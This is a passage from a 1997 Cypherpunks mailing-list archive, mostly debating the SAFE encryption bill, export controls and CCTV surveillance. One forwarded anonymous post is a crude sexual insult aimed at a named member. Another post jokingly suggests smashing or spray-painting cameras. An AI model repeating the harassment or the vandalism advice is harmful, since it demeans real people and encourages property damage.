>various legal challenges to the export restrictions, we feel this issue
>will only be fully resolved through legislation.

>The status quo, in our view, is not good enough.  Because of the export
>controls and the lack of a coherent US encryption policy, Internet users
>do not have access to the privacy protecting encryption products they
>need.

>Congress needs to stand up to the Administration and say, with a strong
>voice, "your policy is a failure - we need a different solution".  That's
>what SAFE, Pro-CODE, and ECPA II do.

No that is not what they do. :(

In addition to *RESTRICTING* the use of *DOMESTIC* crypto it provides a
rather scary president:

An Admendment to the Constitution of the United States is only valid if
Congress says it is and only if the Rights provided by those Admendments
are exercised by The People in a manner that meets Congress's approval.

If Congress really want's to do somthing then let them pass a resolution
that the export restrictions of crypto in the EAR is unconstitional and
therfore null & void. Anything less or more is unneeded, unwanted, and
unconstitional.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Fri, 2 May 1997 08:07:05 +0800
To: cypherpunks@cyberpass.net
Subject: SAFE Bill is a Good Thing--"Crypto For The Masses"
Message-ID: <v03020900af8e47bb1440@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain



The SAFE encryption bill would put more non-escrow, strong encryption in
the hands of many more people -- and mark the death knell for government
regulation of encryption. That's why CDT supports it. That's why we hope
that people who care about privacy and security online will support it too.


1. The SAFE Bill Will Bring More Strong Crypto To More People

There is a right we don't have now: The right to export strong
cryptography. The result is that strong, easy-to-use encryption is not
seamlessly integrated into most popular products, and is not accessible to
most people (who are not as technically sophisticated as the members of
this list.)

SAFE would legalize the export (to all but a few countries such as Iran, N.
Korea, and Cuba) of non-escrow encryption *of unlimited strength* that is
designed for the mass market or is in the public domain, i.e.:

		   "(i) that is generally available, as is, and is
                    designed for installation by the purchaser; or

                    "(ii) that is in the public domain for which
                    copyright or other protection is not available
                    under title 17, United States Code, or that is
                    available to the public because it is generally
                    accessible to the interested public in any form;"
		    (See also Footnote below)

Translation:

	If it's sold in Egghead Software, it's exportable.
	If it's available on the Web: exportable.
	PGP: exportable.
	3DES, IDEA, or Blowfish in mass-market products or
		public domain toolkits: Exportable. Exportable. Exportable.

So the export control provisions in SAFE would put a lot more strong crypto
-- and the freedom to use it -- in the hands of a lot more people.

SAFE's export control relief is not unlimited. The bill does not allow
export to Iran, Iraq,  Cuba, or N. Korea (that's what the "Trading With The
Enemy" provision is about); Congress is not likely to pass a law saying you
can export strong crypto to Saddam Hussein.  Relief is also limited for
non-mass-market hardware and software (e.g., custom systems not available
to the public).  Non-mass-market  hardware is exportable if "commercially
available" in the destination country; such software is exportable
according to a hard-to-parse "financial institutions" standard that roughly
translates into DES.  Less than ideal -- but these provisions do not apply
to most of the hardware and software that most people use.

What SAFE does legalize is strong, non-escrow encryption in the products
that are most widely used, in almost all countries worldwide.  Once
*ordinary people* have strong crypto built in to the products they use
every day, it will be much harder for governments to take it away or
restrict it.

SAFE is "strong crypto for the masses." SAFE is a huge step forward.


2. CDT Does Not Support The Criminal Provision in SAFE

CDT is actively working to get the criminal provision taken out of the SAFE
bill. We are not alone: CDT signed a letter with other groups including
EPIC, EFF, ACLU, VTW, PGP, IEEE, and ACM, urging Congress to remove the
provisions -- "while expressing our support for the measure."

Contrary to reports, the SAFE bill does not say: "Use a cipher, go to
prison."  It does say: "Use cryptography TO COMMIT A CRIME, go to prison":

   2805. Unlawful use of encryption in furtherance of a criminal act

   	"Any person who willfully uses encryption in furtherance
	of the commission of a criminal offense for which the
	person may be prosecuted in a court of competent jurisdiction...
	[may be imprisoned or fined]"

The Leahy bill version is narrower. It says: "Use cryptography to willfully
obstruct justice in furtherance of a felony, go to prison."

       "Whoever willfully endeavors by means of encryption to
	obstruct, impede, or prevent the communication to an
	investigative or law enforcement officer of information
	in furtherance of a felony that may be prosecuted in
	a court of the United States shall...[may be imprisoned or fined]"

CDT opposes both these provisions because they are unnecessary and could
chill the use of encryption (especially by self-confessed felons like Tim
May!).  But they are not as sweeping as some on this list have said.

On balance, CDT believes that SAFE's giant step forward of export relief
and prohibitions on Executive Branch key escrow controls outweigh the
problems created by these criminal provision. That is why we will fight to
get criminal provisions removed, while we still support the bill.


Passage of the SAFE Bill would put strong security tools in the hands of
many more people.  That's why CDT supports SAFE, and why we think people
who care about privacy and security online should support it too.


	-- Alan Davidson, CDT



FOOTNOTE: The Export Provisions in SAFE

The export control provisions in SAFE differentiate between so-called
mass-market and non-mass-market hardware and software.

Mass-market software and hardware with non-escrow encryption of *unlimited
strength* may be exported under the Act to all but a few countries (such as
Iran, N. Korea, and Cuba):

	(2) ITEMS NOT REQUIRING LICENSES. -- No validated license
	 may be required, except pursuant to the Trading With the
	 Enemy Act or the International Emergency Economic Powers
	 Act (but only to the extent that the authority of such Act
	 is not exercised to extend controls imposed under this
	 Act), for the export or reexport of--

              "(A) any software, including software with encryption
              capabilities --

                    "(i) that is generally available, as is, and is
                    designed for installation by the purchaser; or

                    "(ii) that is in the public domain for which
                    copyright or other protection is not available
                    under title 17, United States Code, or that is
                    available to the public because it is generally
                    accessible to the interested public in any form;
                    or

		"(B) any computing device solely because it incorporates or
              employs in any form software (including software with
              encryption capabilities) exempted from any - requirement for a
              validated license under subparagraph (A).

[See http://www.cdt.org/crypto/legis_105/SAFE/hr695_text.html for the
Bill's definitions of "generally available," "as is", etc.]

Non-mass-market hardware and software -- suach as code not generally
available to the public via the Internet, or custom implementations not
generally available or sold "as is" -- receive less favorable treatment:

       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary
       shall authorize the export or reexport of software with encryption
	capabilities for nonmilitary end-uses in any country to which
	 exports of software of similar capability are permitted for
	 use by financial institutions not controlled in fact by
	 United States persons, unless there is substantial evidence
	 that such software will be --

              "(A) diverted to a military end-use or an end-use supporting
              international terrorism;
              "(B) modified for military or terrorist end-use; or
              "(C) reexported without any authorization by the United States
              that may be required under this Act.

This "financial institutions" standard is supposed to roughly translate
into DES.

       "(4) HARDWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary
       shall authorize the export or reexport of computer hardware
	with encryption capabilities if the Secretary determines
	that a product offering comparable security is commercially
	 available outside the United States from a foreign supplier,
	without effective restrictions.

So non-mass-market hardware can be exported *with any encryption algorithm*
if a "comparable" product is available outside the U.S. from a foreign
supplier without restriction.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 08:10:31 +0800
To: Gordon <lrdon@cyberstation.net>
Subject: Re: New Israel
In-Reply-To: <Pine.BSI.3.95.970501171026.6591B-100000@citrine.cyberstation.net>
Message-ID: <199705012318.SAA12960@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.BSI.3.95.970501171026.6591B-100000@citrine.cyberstation.net>, on
05/01/97 at 04:11 PM,
   Gordon <lrdon@cyberstation.net> said:


>Oh geez...

>Have you heard about NEW ISRAEL yet? It is a 510 page book
>that addresses one of the primordial obstacles to human life
>and happiness on our planet Earth, the accursed Middle
>Eastern conundrum between the Jews and the Palestinians-
>Arabs-Islamics.  The predicate of NEW  ISRAEL calls for the
>creation of a coexistent, with Israel, New Israel in the
>southern two thirds of the Baja Peninsula, south of
>California, in North America, with immense benefits
>for all of those effected. Faced with an impossible dilemma,
>another choice must be made available. The book explains that new option
>and all the history, difficulties, and
>transgressions, that makes the creation of New Israel
>absolutely necessary.  For more information, including an
>18 page detailed outline of NEW ISRAEL, and the full 41 page
>Preface to NEW ISRAEL - which provides rich details about the reasoning
>and rationale foundation of NEW ISRAEL, visit the NEW ISRAEL website at :

>               http://www.seymourtex.com/newisrael/ni.htm


Yes we have all seen this *CRAP* already Gorden but *THANK YOU* for
reposting this. Say hi to Don Wood for me. :-/

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Bill Gates' worst nightmare!

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RlK3pzhMCmQVEcod7Vh+mhF4yV4CZLtxO4lcBl1fQenaZ/8znoIxH9Hh5GqfJ5pU
CCrqn9DzAyI=
=AN93
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Fri, 2 May 1997 06:59:14 +0800
To: cypherpunks@toad.com
Subject: EVENT: FCC Universal Service Hearing to be cybercast online!
Message-ID: <199705012229.SAA08529@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls

Update No.6              http:/www.democracy.net/              May 1 1997

_________________________________________________________________________
Table of Contents

 - Sit in on live FCC Universal Service hearing: May 7, 9:30am Eastern
 - Live Town Hall Meeting with FCC Chairman Reed Hundt: May 13, 7pm Eastern
 - In our archive
 - About democracy.net / Subscription Information

___________________________________________________________________________
SIT IN ON LIVE FCC UNIVERSAL SERVICE HEARING: WEDNESDAY MAY 7, 9:30AM ET

The future of Universal Service in the nation's telecommunications network
is one of the key elements of our nation's communications infrastructure.
At issue - how to ensure that citizens who live in rural and inner city
areas have access to advanced telecommunications services, and how to pay
for it.

The 1996 Telecommunications Reform Act directed the FCC to answer these
questions.  After nearly a year of investigation, hearings, and public
comment, the FCC will announce its rules on Wednesday May 7th.

You can join the proceeding live.

Be present, ask questions, and get answers from FCC staff after the
hearing. (FCC staff are not allowed to comment on a matter before the
Commission before the commissioners have made their ruling.)

Best of all, FCC Chairman Reed Hundt will join democracy.net on Tuesday May
13 for an online town hall meeting.  Hundt will discuss the Universal
Service proceeding and respond to questions from Internet users.

         * Universal Service Hearing - How To Participate *

 DATE:      Wednesday, May 7, 1997
 TIME:      9:30 am Eastern / 6:30 am Pacific  (Event will last +/- 3 hours)
 LOCATION:  http://www.democracy.net

In advance of the hearing, please visit http://www.democracy.net for
background information on the Universal Service issue, including links to
various sides of the debate.  You can also submit questions in advance.

_____________________________________________________________________________
LIVE TOWN HALL MEETING WITH FCC CHAIRMAN REED HUNDT: TUESDAY MAY 13, 7PM ET

During the May 7th Universal Service Proceeding, Internet users can submit
their questions and comments via democracy.net.  On Tuesday May 13, FCC
Chairman Reed Hundt will join democracy.net for a live Virtual Town Hall
meeting to discuss the Universal Service proceeding, respond to Internet
users questions, and discuss other Internet-related issues before the FCC.

This is a great opportunity for Internet users to talk with one of the key
telecommunications policy makers.

       * Online Town Hall Meeting with FCC Commissioner Reed Hundt *
                         * How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      7:00 pm Eastern / 4:00 pm Pacific
 LOCATION:  http://www.democracy.net

Visit http://www.democracy.net/ in advance of the event to submit questions.

Additional information can be found at the FCC home page: http://www.fcc.gov

_______________________________________________________________________________
IN OUR ARCHIVE

* ONLINE TOWN HALL MEETING WITH REP. RICK WHITE NOW AVAILABLE IN OUR ARCHIVE!

  "I don't want to minimize the National Security concerns -- these concerns
   are real - but I think we've reached the point where the National Security
   community is going to have to solve these problems in a new world.  You
   can't delay the arrival of the new world forever."

     -Rep. Rick White on encryption at 4/10 democracy.net town hall meeting

 You can listen to the entire transcript of the online town hall meeting, or
 selected excerpts, at http://www.democracy.net/archive/04101997/

* ONLINE TOWN HALL MEETING WITH REP. ANNA ESHOO NOW AVAILABLE IN OUR ARCHIVE!

  "I don't think Congress should rush into making decisions about the
   Internet.  There are still far too many Members that are not users
   themselves, and therefore do not understand the medium."

     -Rep. Anna Eshoo on Congress and the net at 4/16 democracy.net online
      town hall meeting

 You can listen to the entire transcript of the online town hall meeting, or
 selected excerpts, at http://www.democracy.net/archive/04161997/

_______________________________________________________________________________
ABOUT DEMOCRACY.NET / SUBSCRIPTION INFORMATION

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive
(http://www.webactive.com), Public Access Networks (http://www.panix.com),
the Democracy Network (http://www.democracynet.org), and DIGEX Internet
(http://www.digex.net).  More information about the project and its
sponsors can be found at http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/ or send mail to

                     majordomo@democracy.net

         with "subscribe events" in the body of the message.

To stop receiving announcements on the democracy.net "events" mailing list,
please send mail to majordomo@democracy.net with the phrase
"unsubscribe events" in the message body.

_____________________________________________________________________________
End update no.6                                                    05/01/1997
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 2 May 1997 02:14:57 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files, FileGate
In-Reply-To: <3.0.1.32.19970430183502.006417e8@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.91.970501182336.502A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Bay Alarm said that some British cities have dealt with privacy fears by
> setting up monitoring centers away from city and police offices,
> where tapes are kept in case a crime occurs -- crime victims can call up
> the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
> The camera systems are also capable of taking pictures in the dark.

Not just cities, quite small towns and residential areas have now taken 
to using citizen-units tax money installing systems to spy on the very 
same people. I have now taken to not visiting a town near me (Hastings) 
because of the CCTV systems in place. Not content with spying on citizens 
going about their business in towns a number of state funded colleges and 
universities are now installing CCTV systems. Presumably audio "bugs" 
will also be in order to ensure the student-units do not say anything 
unseemly or hinting at some form of intellectual heresy.

Also, a number of car alarm manufacturers are now producing systems to 
track cars using GPS so if the car is stolen the police can track its 
movements. I can quite easily envisage a situation in a few years time 
when it is mandated that all new cars produced must be fitted with such 
systems so that the government can track the movement of citizens.

One cannot now go out of ones own house without being monitored, and for 
those of us who are known heretics maybe even that is not true. 


Paul "Rapidly becoming a hermit in the name of privacy" Bradley






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Fri, 2 May 1997 07:04:46 +0800
To: Super-User <root@nwdtc.com>
Subject: Re: Layoffs at PGP
In-Reply-To: <3368FF82.4EDB@teleport.com>
Message-ID: <33691F91.72DC@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


If any of the person's laid off by PGP are looking for job's in the New
York Metro Area, let me know, I know of some opportunities at a security
related company based out of NJ. Also does anyone how many were laid
off?

steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 2 May 1997 10:19:32 +0800
To: cypherpunks@cyberpass.net
Subject: EAR questions.
Message-ID: <9705011902.ZM27479@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


[ Didn't get much response when I posted this to cryptography@c2.net.
Hope there will be more response on cypherpunks. ]

	I couldn't find a solid answer to the following questions,
after reading relevent sections of the EAR, and talking to some
people. I am looking for considered opinions, not legal advice.

1) Does a software such as the DESCHALL client or Peter Trei's DESKR
program, in object code form, need a license to be exported? Keep
in mind that even thought there are some cryptographic functions
inside the programs, they cannot be directly used to encrypt data,
nor can they be easily modified (i.e. without reverse engineering)
to make data encryption possible.

2) Does the "printed matter exception" apply only to publications?
Is it legal, under the EAR, for somebody in the US to print out
the source code for an encryption program on paper and send it to
a private party abroad (not a country in the enemies list). Does
it make any difference whether this is done for monetory compensation?
Does it make any difference whether the sender intends to keep the
source code secret between himself and the recipient?

Btw, it looks like the language about scannable encryption source code,
that was in the draft regulations, have been removed.

One more, general question.

3) Is it correct to say that, as long as you are not selling it to
a military organization and the software is intended for civilian
use, the export of encryption software is now controlled exclusively
by the EAR, and not by the ITAR? I ask this because many of the
people who answered "only publications" to question 2) above,
could only quote the ITAR in support of their position.

	Thanks.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Fri, 2 May 1997 01:50:00 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: J/Crypto (fwd)
In-Reply-To: <Pine.SUN.3.91.970501120824.18504A-100000@beast.brainlink.com>
Message-ID: <199705011730.TAA15740@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



> (original at http://206.20.162.246    JavaZine )
> 
> 
> J/CRYPTO - Cryptography class library
> 
> Baltimore Technologies shipped the first copies of its Java
> cryptography product J/CRYPTO at the Java Users Group meeting at
> Communications '97. J/CRYPTO is the world's first cryptography class
> library written entirely in Java and implements RSA, DES, Triple-DES,
> SHA1, MD5, Diffie-Hellman and other common cryptographic functions.

<snip>


I wonder if the authors are unaware of www.systemics.com, or 
whether they discount Cryptics v2 because it is beta, or something
else?


Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 2 May 1997 01:58:47 +0800
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] ZKP
Message-ID: <199705011740.TAA26115@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 1 May 1997 10:00:24 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Anonymous <nobody@replay.com>
Cc: cypherpunks@toad.com
Subject: Re: [CRYPTO] ZKP
Sender: owner-cypherpunks@toad.com

I think Vulis needs each of us to send ten copies of this back to him.   
 
On Thu, 1 May 1997, Anonymous wrote:

> Tim May is widely recognized on the net, because of his 
> frequent vitriolic postings, as someone/thing ready to cut 
> off his own penis to spite Graham-John Bullers, although his 
> friends recognize him better from the rear.
> 
>    __
>   /_/\__
>   \_\/\_\ Tim May
>   /\_\/_/
>   \/_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 2 May 1997 10:54:02 +0800
To: Alan Davidson <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
In-Reply-To: <v03020900af8e47bb1440@[207.226.3.11]>
Message-ID: <Pine.3.89.9705011820.A27450-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 1 May 1997, Alan Davidson wrote:

> Contrary to reports, the SAFE bill does not say: "Use a cipher, go to
> prison."  It does say: "Use cryptography TO COMMIT A CRIME, go to prison":
> 
>    2805. Unlawful use of encryption in furtherance of a criminal act
> 
>    	"Any person who willfully uses encryption in furtherance
> 	of the commission of a criminal offense for which the
> 	person may be prosecuted in a court of competent jurisdiction...
> 	[may be imprisoned or fined]"

What the bill punishes with five years in prison is the use of encryption
in FURTHERANCE of a crime.

I will demonstrate at the next SF Bay Area Cypherpunks meeting on Saturday
May 10, 1997 the use of encryption in furtherance of a crime using only
three mouse clicks and three keystrokes. No custom scripts, macros, etc.
involved. In fact, I will gladly perform the demonstration on a computer
provided by the audience.

That's right folks! Three mouse clicks and three keystrokes will buy you 
*five* years in the federal penitentiary should SAFE become law as 
currently written.

[Since this is a controlled demo, no actual crimes will be committed. Do 
not try this at home! You will be breaking the law.]
--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 2 May 1997 12:25:42 +0800
To: geeman <NOSPAM-geeman@best.com>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,  FileGate
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <3.0.1.32.19970501203644.00652d30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:46 AM 5/1/97 -0700, you wrote:
>This is fine for red-light-running.  I'm just worried about the day when
>the cameras have an effect on people's behavior with respect to 
>what they say, whom they associate with, 
>the clothes they wear, the thoughts they think...
>
>How do you hack a camera?

The traditional solution, which happened to a number of early
photo-radar cameras, involves a ski-mask and a baseball bat;
more subtle approaches rely on spray-paint, which does less
damage to the expensive equipment, but spray paint is a Controlled Substance
in many cities....

Other approaches, for the video-surveillance types of cameras,
are to always use appropriate gestures when you're near the things.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 09:25:34 +0800
To: "Michael Sims" <jellicle@inch.com>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v03020906af8e6fb1335e@[207.226.3.4]>
Message-ID: <v0300782faf8eae00618f@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


The Administration hates this bill, because it threatens their ability to
roll out Key Recovery.  They've said as much in the letter Declan forwarded:

   "The bill could be read as prohibiting the United States government
    from using appropriate incentives to support a key management
    infrastructure and KEY RECOVERY." [emphasis added]

Do you think that if this bill helped the Administration, that they'd be
out there urging the subcommittee chairman to stop it?  I think not.

I'm also puzzled by the fact that CDT is being criticized pretty much
solely, even though the entire Internet Privacy Coalition, and several
other groups all wrote a letter of support of the bill with only a
criticism of one provision.  However the overall statement was of support.
(see http://www.privacy.org/ipc/safe_letter.html)

As far as I can tell, everyone criticizing the bill either thinks that:

	a) CDT actually runs all these groups behind the scenes, or
	b) pretty much all of the Internet advocates believe that this bill
           is needed and are doing the best they can with what Congress has
           written.

You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
Reform, the Association for Computing Machinery, Computer Professionals for
Social Responsiblity, Eagle Forum, the National Association for Criminal
Defense Lawyers, and PGP Inc all signed this letter.

Can you consider, perhaps, for a second, that critics of SAFE are being
unreasonable?  I would think so, as critics of SAFE include the Clinton
Administration.  Is that the kind of company that cypherpunks keep?

Here's a great excerpt from the Internet Privacy Coalition letter:

  The pending bill provides a positive framework for the reforms that are
  long overdue in this critical area. It makes clear that the sale or use
of
  encryption, a vital technique to promote network security and individual
  privacy, should not be restricted in the United States. This is the view
  widely shared by users of the Internet and the computer and communications
  industry. It was also a central recommendation of the
  report of the National Research Council last year.

Looks like widespread support from people who study this issue for living.
I'm glad to be counted among them.

-S

-Shabbir






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 12:33:26 +0800
To: Lucky Green <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
In-Reply-To: <v03020900af8e47bb1440@[207.226.3.11]>
Message-ID: <v03007808af8f26ea57b3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:42 PM -0800 5/1/97, Lucky Green wrote:

>What the bill punishes with five years in prison is the use of encryption
>in FURTHERANCE of a crime.
>
>I will demonstrate at the next SF Bay Area Cypherpunks meeting on Saturday
>May 10, 1997 the use of encryption in furtherance of a crime using only
>three mouse clicks and three keystrokes. No custom scripts, macros, etc.
>involved. In fact, I will gladly perform the demonstration on a computer
>provided by the audience.
>
>That's right folks! Three mouse clicks and three keystrokes will buy you
>*five* years in the federal penitentiary should SAFE become law as
>currently written.
>
>[Since this is a controlled demo, no actual crimes will be committed. Do
>not try this at home! You will be breaking the law.]

I'm looking forward to this demo! Hell, maybe I'll volunteer to actually
commit whatever crime is being furthered!

The language of SAFE would directly impinge on use of anonymous, chained
remailers for many uses. Some use remailers to harass others, a crime in
many jurisdictions. Some use it to post or transfer so-called "child porn,"
a crime in some jurisdictions.

(But, I assure you, our local community--implicated in the Salinas
so-called "porn ring," use PGP to protect themselves from finks. Under
SAFE, these neighbors of mine could be hit with heavier penalties for using
crypto in furtherance of their crimes than the supposed crimes involve!)

Let's call a spade a spade...cryptography, anonymity, and untraceable
digital cash will be used often for criminal purposes. So what else is knew?

By the way, speaking of digital cash, think about the obvious implications
of the SAFE provisions for untraceable digital cash. Talk about a chilling
effect.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 12:50:41 +0800
To: cypherpunks@toad.com
Subject: But thank God we live in Amerika...
Message-ID: <199705020430.VAA16639@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


An Average Citizen wrote:
>  Just guess what the fine is for not having 2" high 
> numbers on my mailbox.  
>  $1000/20days in jail.  Must be a fucking felony. 

  Gee, and when Tim May said he was a felon, then I thought maybe
he was murdering children, or something.
  Actually, maybe Tim *is* murdering children, but the authorities
are leaving him alone because the numbers on his mailbox (written
in the blood of children) are 2" high, leading them to believe
that he is a model citizen.

  If Orwell had put a reference to a law such as this, with severe
penalities for illegal-sized mailbox numbers in his work, "1984",
he would have been laughed at as an unrealistic lunatic.
  (Not that he wasn't, anyway.)

  Around the world, conspiracy theorists and psycho-thriller
writers are starving to death because they can't compete with
reality and the nightly news.
  Me? I used to be an activist, now I'm just another guy/gal
taking violin lessons from Nero. (We meet Tuesdays at Motel 6.
Come on by, we'll leave a light-bulb joke on for you.)

FiddleMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 12:54:52 +0800
To: cypherpunks@toad.com
Subject: SAFE Bill / Fuck You (an inch at a time)
Message-ID: <199705020430.VAA16643@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Jonah Seiger wrote:

> However, despite our concerns about the criminal provisions, we believe
> strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
> and Leahy, are vitally important and should be passed.

  When is the last time you saw a Volvo ad that said:
"It's the safest car on the road, unless you corner too fast."
  Or a Chrysler ad that said:
"Our air bags will provide you with complete protection, although
they may kill your children."

  When Ford had a problem with Pinto gas tanks exploding on 
impact, and Richard Pryor set himself on fire, freebasing, I
started selling T-shirts in Austin, Texas, saying:
"I'd rather freebase than drive a Pinto."
  Ford Motor Company sent TWO legal eagles down from Ford
Country, to exhort me to cease and desist.

  Car companies have better sense than to broach these subjects,
even when they are truthful, because they know that the citizens
won't put up with it. If they have a problem, they deny and avoid
it--totally. They know that the citizens will *vote* with their
wallets.

  Government, on the other hand, has so totally snowed the citizens
that they no longer even bother, in many cases, with the pretension
of providing us with a product of superb quality.
  Instead, we get:
"Our product/legislation has a few flaws, but hell, it's better than
nothing at all."
or,
"I'm supporting this legislation because it will get me elected in
my district. So what if it fucks a few dirt-farmers halfway across
the country?"
or,
"We already have dozens of laws covering this issue, but its a 
current hot-topic, so we'll pass another one, and add a few
dozen items for special-interests groups which fuck a variety
of citizens in the ass, but which we can still justify as being
'for the greater good.'"

  I mean, let's get real, here.
  We put up with crap from our government that we wouldn't accept
from someone trying to sell us a mouthwash. The reason that we're
not all drinking the "New Coke" is that D.C. has siphoned off all
of the spin doctors/brainwashers from the corporate advertising
industry.
  I'll lay you even money that, given sufficient funding, I could
be elected as the next President of the U.S. using slogans like:
"I promise to only fuck you a little bit at a time."
and,
"As your President, I will move us more slowly towards a total 
Police State."

  Why do we put up with blatantly "flawed" legislation, when we
wouldn't put up with the same thing in a consumer product?
  It is because corporations fear the consumers, to a certain
extent, but government has no fear of the citizens, for the most
part. The government used to fear the Press, at least marginally,
but they now have them in their back pocket, so the Press no 
longer has the power to serve as an element of protection/information
for the citizenry.

  So the government can pass legislation which gives us rights
which we already have, without it, and cut off another inch or
two of our freedom/privacy at the same time.
  And, in the process, we will hear, from both the government and
the Press, about the virtues of "compromise."
